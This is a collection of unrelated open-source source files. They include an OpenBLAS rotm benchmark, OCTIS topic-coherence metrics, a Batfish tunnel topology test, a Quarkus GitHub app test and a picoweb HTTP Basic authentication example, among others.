<filename>benchmark/rotm.c /*************************************************************************** Copyright (c) 2014, The OpenBLAS Project All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the OpenBLAS project nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENBLAS PROJECT OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *****************************************************************************/ #include "bench.h" #undef ROTM #ifdef DOUBLE #define ROTM BLASFUNC(drotm) #else #define ROTM BLASFUNC(srotm) #endif int main(int argc, char *argv[]) { FLOAT *x, *y; // FLOAT result; blasint m, i; blasint inc_x = 1, inc_y = 1; FLOAT param[5] = {1, 2.0, 3.0, 4.0, 5.0}; int loops = 1; int l; char *p; int from = 1; int to = 200; int step = 1; double time1, timeg; argc--; argv++; if (argc > 0) { from = atol(*argv); argc--; argv++; } if (argc > 0) { to = MAX(atol(*argv), from); argc--; argv++; } if (argc > 0) { step = atol(*argv); argc--; argv++; } if ((p = getenv("OPENBLAS_LOOPS"))) loops = atoi(p); if ((p = getenv("OPENBLAS_INCX"))) inc_x = atoi(p); if ((p = getenv("OPENBLAS_INCY"))) inc_y = atoi(p); fprintf( stderr, "From : %3d To : %3d Step = %3d Inc_x = %d Inc_y = %d Loops = %d\n", from, to, step, inc_x, inc_y, loops); if ((x = (FLOAT *)malloc(sizeof(FLOAT) * to * abs(inc_x) * COMPSIZE)) == NULL) { fprintf(stderr, "Out of Memory!!\n"); exit(1); } if ((y = (FLOAT *)malloc(sizeof(FLOAT) * to * abs(inc_y) * COMPSIZE)) == NULL) { fprintf(stderr, "Out of Memory!!\n"); exit(1); } #ifdef __linux srandom(getpid()); #endif fprintf(stderr, " SIZE Flops\n"); for (m = from; m <= to; m += step) { timeg = 0; fprintf(stderr, " %6d : ", (int)m); for (i = 0; i < m * COMPSIZE * abs(inc_x); i++) { x[i] = ((FLOAT)rand() / (FLOAT)RAND_MAX) - 0.5; } for (i = 0; i < m * COMPSIZE * abs(inc_y); i++) { y[i] = ((FLOAT)rand() / (FLOAT)RAND_MAX) - 0.5; } for (l = 0; l < loops; l++) { begin(); ROTM(&m, x, &inc_x, y, &inc_y, param); end(); time1 = getsec(); timeg += time1; } timeg /= loops; fprintf(stderr, " %10.2f MFlops %10.6f sec\n", COMPSIZE * COMPSIZE * 6. * (double)m / timeg * 1.e-6, timeg); } return 0; }
1,867
369
/* * Copyright © 2018 <NAME>, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. */ package io.cdap.cdap.spark.app.plugin; import io.cdap.cdap.api.annotation.Macro; import io.cdap.cdap.api.annotation.Name; import io.cdap.cdap.api.annotation.Plugin; import io.cdap.cdap.api.plugin.PluginConfig; import io.cdap.cdap.api.plugin.PluginConfigurer; import io.cdap.cdap.api.plugin.PluginContext; import io.cdap.cdap.api.plugin.PluginProperties; import io.cdap.cdap.spark.app.Extensible; import java.util.function.ToIntFunction; /** * A function that loads a {@link UDT} to do the job. */ @Plugin(type = "function") @Name("pluggable") public class PluggableFunc implements ToIntFunction<String>, Extensible { private final Config config; private UDT udt; public PluggableFunc(Config config) { this.config = config; } @Override public int applyAsInt(String value) { return udt.apply(value); } @Override public void configure(PluginConfigurer configurer) { configurer.usePluginClass("udt", config.udtName, "udt", PluginProperties.builder().build()); } @Override public void initialize(PluginContext context) throws Exception { udt = context.newPluginInstance("udt"); } private static final class Config extends PluginConfig { @Macro private final String udtName; private Config(String udtName) { this.udtName = udtName; } } }
610
340
<reponame>lei-liu1/OCTIS from octis.evaluation_metrics.metrics import AbstractMetric from octis.dataset.dataset import Dataset from gensim.corpora.dictionary import Dictionary from gensim.models import CoherenceModel from gensim.models import KeyedVectors import gensim.downloader as api import octis.configuration.citations as citations import numpy as np import itertools from scipy import spatial from sklearn.metrics import pairwise_distances from operator import add class Coherence(AbstractMetric): def __init__(self, texts=None, topk=10, measure='c_npmi'): """ Initialize metric Parameters ---------- texts : list of documents (list of lists of strings) topk : how many most likely words to consider in the evaluation measure : (default 'c_npmi') measure to use. other measures: 'u_mass', 'c_v', 'c_uci', 'c_npmi' """ super().__init__() if texts is None: self._texts = _load_default_texts() else: self._texts = texts self._dictionary = Dictionary(self._texts) self.topk = topk self.measure = measure def info(self): return { "citation": citations.em_coherence, "name": "Coherence" } def score(self, model_output): """ Retrieve the score of the metric Parameters ---------- model_output : dictionary, output of the model key 'topics' required. Returns ------- score : coherence score """ topics = model_output["topics"] if topics is None: return -1 if self.topk > len(topics[0]): raise Exception('Words in topics are less than topk') else: npmi = CoherenceModel(topics=topics, texts=self._texts, dictionary=self._dictionary, coherence=self.measure, processes=1, topn=self.topk) return npmi.get_coherence() class WECoherencePairwise(AbstractMetric): def __init__(self, word2vec_path=None, binary=False, topk=10): """ Initialize metric Parameters ---------- dictionary with keys topk : how many most likely words to consider word2vec_path : if word2vec_file is specified retrieves word embeddings file (in word2vec format) to compute similarities, otherwise 'word2vec-google-news-300' is downloaded binary : True if the word2vec file is binary, False otherwise (default False) """ super().__init__() self.binary = binary self.topk = topk self.word2vec_path = word2vec_path if word2vec_path is None: self._wv = api.load('word2vec-google-news-300') else: self._wv = KeyedVectors.load_word2vec_format( word2vec_path, binary=self.binary) def info(self): return { "citation": citations.em_coherence_we, "name": "Coherence word embeddings pairwise cosine" } def score(self, model_output): """ Retrieve the score of the metric Parameters ---------- model_output : dictionary, output of the model key 'topics' required. Returns ------- score : topic coherence computed on the word embeddings similarities """ topics = model_output["topics"] result = 0.0 for topic in topics: E = [] # Create matrix E (normalize word embeddings of # words represented as vectors in wv) for word in topic[0:self.topk]: if word in self._wv.key_to_index.keys(): word_embedding = self._wv.__getitem__(word) normalized_we = word_embedding / word_embedding.sum() E.append(normalized_we) if len(E) > 0: E = np.array(E) # Perform cosine similarity between E rows distances = np.sum(pairwise_distances(E, metric='cosine')) topic_coherence = distances/(2*self.topk*(self.topk-1)) else: topic_coherence = -1 # Update result with the computed coherence of the topic result += topic_coherence result = result/len(topics) return result class WECoherenceCentroid(AbstractMetric): def __init__(self, topk=10, word2vec_path=None, binary=True): """ Initialize metric Parameters ---------- topk : how many most likely words to consider w2v_model_path : a word2vector model path, if not provided, google news 300 will be used instead """ super().__init__() self.topk = topk self.binary = binary self.word2vec_path = word2vec_path if self.word2vec_path is None: self._wv = api.load('word2vec-google-news-300') else: self._wv = KeyedVectors.load_word2vec_format( self.word2vec_path, binary=self.binary) @staticmethod def info(): return { "citation": citations.em_word_embeddings_pc, "name": "Coherence word embeddings centroid" } def score(self, model_output): """ Retrieve the score of the metric :param model_output: dictionary, output of the model. key 'topics' required. :return topic coherence computed on the word embeddings """ topics = model_output["topics"] if self.topk > len(topics[0]): raise Exception('Words in topics are less than topk') else: result = 0 for topic in topics: E = [] # average vector of the words in topic (centroid) t = np.zeros(self._wv.vector_size) # Create matrix E (normalize word embeddings of # words represented as vectors in wv) and # average vector of the words in topic for word in topic[0:self.topk]: if word in self._wv.key_to_index.keys(): word_embedding = self._wv.__getitem__(word) normalized_we = word_embedding/sum(word_embedding) E.append(normalized_we) t = list(map(add, t, word_embedding)) t = np.array(t) if sum(t) != 0: t = t/(len(t)*sum(t)) if len(E) > 0: topic_coherence = 0 # Perform cosine similarity between each word embedding in E # and t. for word_embedding in E: distance = spatial.distance.cosine(word_embedding, t) topic_coherence += distance topic_coherence = topic_coherence/self.topk else: topic_coherence = -1 # Update result with the computed coherence of the topic result += topic_coherence result /= len(topics) return result def _load_default_texts(): """ Loads default general texts Returns ------- result : default 20newsgroup texts """ dataset = Dataset() dataset.fetch_dataset("20NewsGroup") return dataset.get_corpus()
3,560
763
package org.batfish.dataplane.ibdp; import static org.batfish.datamodel.ExprAclLine.REJECT_ALL; import static org.hamcrest.Matchers.hasItem; import static org.hamcrest.Matchers.not; import static org.junit.Assert.assertThat; import com.google.common.collect.ImmutableSortedMap; import java.io.IOException; import java.util.SortedMap; import org.batfish.datamodel.ConcreteInterfaceAddress; import org.batfish.datamodel.Configuration; import org.batfish.datamodel.ConfigurationFormat; import org.batfish.datamodel.Edge; import org.batfish.datamodel.ExprAclLine; import org.batfish.datamodel.HeaderSpace; import org.batfish.datamodel.Interface; import org.batfish.datamodel.InterfaceType; import org.batfish.datamodel.Ip; import org.batfish.datamodel.IpAccessList; import org.batfish.datamodel.IpProtocol; import org.batfish.datamodel.NetworkFactory; import org.batfish.datamodel.Topology; import org.batfish.datamodel.TunnelConfiguration; import org.batfish.datamodel.Vrf; import org.batfish.datamodel.collections.NodeInterfacePair; import org.batfish.main.Batfish; import org.batfish.main.BatfishTestUtils; import org.junit.Rule; import org.junit.Test; import org.junit.rules.TemporaryFolder; public class TunnelTopologyTest { @Rule public TemporaryFolder _folder = new TemporaryFolder(); public SortedMap<String, Configuration> twoNodeNetwork(boolean withBlockingAcl) { NetworkFactory nf = new NetworkFactory(); Configuration.Builder cb = nf.configurationBuilder(); Interface.Builder ib = nf.interfaceBuilder(); cb.setConfigurationFormat(ConfigurationFormat.CISCO_IOS); Configuration c1; Configuration c2; c1 = cb.setHostname("c1").build(); c2 = cb.setHostname("c2").build(); Ip underlayIp1 = Ip.parse("172.16.17.32"); Ip underlayIp2 = Ip.parse("4.4.4.2"); Ip ip1 = Ip.parse("1.1.1.1"); Ip ip2 = Ip.parse("1.1.1.2"); int subnetMask = 24; Vrf vrf1 = nf.vrfBuilder().setOwner(c1).build(); ib.setOwner(c1) .setAddress(ConcreteInterfaceAddress.create(ip1, subnetMask)) .setType(InterfaceType.TUNNEL) .setTunnelConfig( TunnelConfiguration.builder() .setSourceAddress(underlayIp1) .setDestinationAddress(underlayIp2) .build()) .setName("t1") .setVrf(vrf1) .build(); ib.setOwner(c1) .setAddress(ConcreteInterfaceAddress.create(underlayIp1, subnetMask)) .setType(InterfaceType.PHYSICAL) .setIncomingFilter( withBlockingAcl ? IpAccessList.builder() .setName("REJECT_ALL") .setLines(REJECT_ALL) .setOwner(c1) .build() : IpAccessList.builder() .setName("ALLOW_GRE_REJECT_REST") .setLines( ExprAclLine.acceptingHeaderSpace( HeaderSpace.builder().setIpProtocols(IpProtocol.GRE).build()), REJECT_ALL) .build()) .setName("u1") .setVrf(vrf1) .build(); Vrf vrf2 = nf.vrfBuilder().setOwner(c2).build(); ib.setOwner(c2) .setAddress(ConcreteInterfaceAddress.create(ip2, subnetMask)) .setType(InterfaceType.TUNNEL) .setTunnelConfig( TunnelConfiguration.builder() .setSourceAddress(underlayIp2) .setDestinationAddress(underlayIp1) .build()) .setName("t2") .setVrf(vrf2) .build(); ib.setOwner(c2) .setAddress(ConcreteInterfaceAddress.create(underlayIp2, subnetMask)) .setType(InterfaceType.PHYSICAL) .setName("u2") .setVrf(vrf2) .build(); return ImmutableSortedMap.of(c1.getHostname(), c1, c2.getHostname(), c2); } /** * Tests that when we check reachability between two tunnels, we do it using the GRE protocol. Do * so by inserting an ACL between 2 physical interfaces that blocks GRE traffic. Note that the * tunnel link should be reflected in L3 edges. */ @Test public void testPruneTunnelTopologyAclBlocks() throws IOException { Batfish batfish = BatfishTestUtils.getBatfish(twoNodeNetwork(true), _folder); batfish.computeDataPlane(batfish.getSnapshot()); Topology topology = batfish.getTopologyProvider().getLayer3Topology(batfish.getSnapshot()); assertThat( topology.getEdges(), not(hasItem(new Edge(NodeInterfacePair.of("c1", "t1"), NodeInterfacePair.of("c2", "t2"))))); } /** * Tests that when we check reachability between two tunnels, we do it using the GRE protocol. Do * so by inserting an ACL between 2 physical interfaces that allows only GRE traffic. Note that * the tunnel link should be reflected in L3 edges. */ @Test public void testPruneTunnelTopologyNoACL() throws IOException { Batfish batfish = BatfishTestUtils.getBatfish(twoNodeNetwork(false), _folder); batfish.computeDataPlane(batfish.getSnapshot()); Topology topology = batfish.getTopologyProvider().getLayer3Topology(batfish.getSnapshot()); assertThat( topology.getEdges(), hasItem(new Edge(NodeInterfacePair.of("c1", "t1"), NodeInterfacePair.of("c2", "t2")))); } }
2,269
335
{ "word": "Precedent", "definitions": [ "An earlier event or action that is regarded as an example or guide to be considered in subsequent similar circumstances.", "A previous case or legal decision that may be or (binding precedent) must be followed in subsequent similar cases." ], "parts-of-speech": "Noun" }
105
312
<filename>deployment/src/test/java/io/quarkiverse/githubapp/deployment/OptionalConfigFileTest.java package io.quarkiverse.githubapp.deployment; import java.util.Optional; import org.jboss.shrinkwrap.api.ShrinkWrap; import org.jboss.shrinkwrap.api.spec.JavaArchive; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.RegisterExtension; import org.kohsuke.github.GHEventPayload; import io.quarkiverse.githubapp.ConfigFile; import io.quarkiverse.githubapp.deployment.junit.GitHubMockingQuarkusUnitTest; import io.quarkiverse.githubapp.event.Label; import io.quarkiverse.githubapp.runtime.Headers; import io.restassured.RestAssured; public class OptionalConfigFileTest { private static final String PAYLOAD = "payloads/label-created.json"; @RegisterExtension static final GitHubMockingQuarkusUnitTest config = new GitHubMockingQuarkusUnitTest() .setArchiveProducer(() -> ShrinkWrap.create(JavaArchive.class) .addClass(ListeningClass.class) .addAsResource(PAYLOAD)) .withConfigurationResource("application.properties"); @Test public void testOptionalConfigFile() { RestAssured .given() .header(Headers.X_GITHUB_EVENT, "label") .contentType("application/json") .body(Thread.currentThread().getContextClassLoader().getResourceAsStream(PAYLOAD)) .when().post("/") .then() .statusCode(200); } static class ListeningClass { void createLabel(@ConfigFile("my-config-file.txt") Optional<String> configuration, @Label.Created GHEventPayload.Label labelPayload) { } } }
711
485
// // IOBluetoothExtended.h // IOBluetoothExtended // // Created by <NAME> on 06.07.19. // Copyright © 2019 <NAME>. All rights reserved. // #import <Cocoa/Cocoa.h> #import <HCIDelegate.h> #import <HCICommunicator.h> #import <IOBluetoothHostController.h> //! Project version number for IOBluetoothExtended. FOUNDATION_EXPORT double IOBluetoothExtendedVersionNumber; //! Project version string for IOBluetoothExtended. FOUNDATION_EXPORT const unsigned char IOBluetoothExtendedVersionString[]; // In this header, you should import all the public headers of your framework using statements like #import <IOBluetoothExtended/PublicHeader.h>
205
428
<reponame>alexbzg/picoweb<gh_stars>100-1000 # # This is a picoweb example showing handling of HTTP Basic authentication. # import ubinascii import picoweb app = picoweb.WebApp(__name__) @app.route("/") def index(req, resp): if b"Authorization" not in req.headers: yield from resp.awrite( 'HTTP/1.0 401 NA\r\n' 'WWW-Authenticate: Basic realm="Picoweb Realm"\r\n' '\r\n' ) return auth = req.headers[b"Authorization"].split(None, 1)[1] auth = ubinascii.a2b_base64(auth).decode() username, passwd = auth.split(":", 1) yield from picoweb.start_response(resp) yield from resp.awrite("You logged in with username: %s, password: %s" % (username, passwd)) import ulogging as logging logging.basicConfig(level=logging.INFO) app.run(debug=True)
356
4,054
<filename>fnet/src/tests/locking/dummy.h // Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. #pragma once class DummyObj { public: DummyObj(); ~DummyObj(); }; class DummyLock { public: void Lock(); void Unlock(); };
101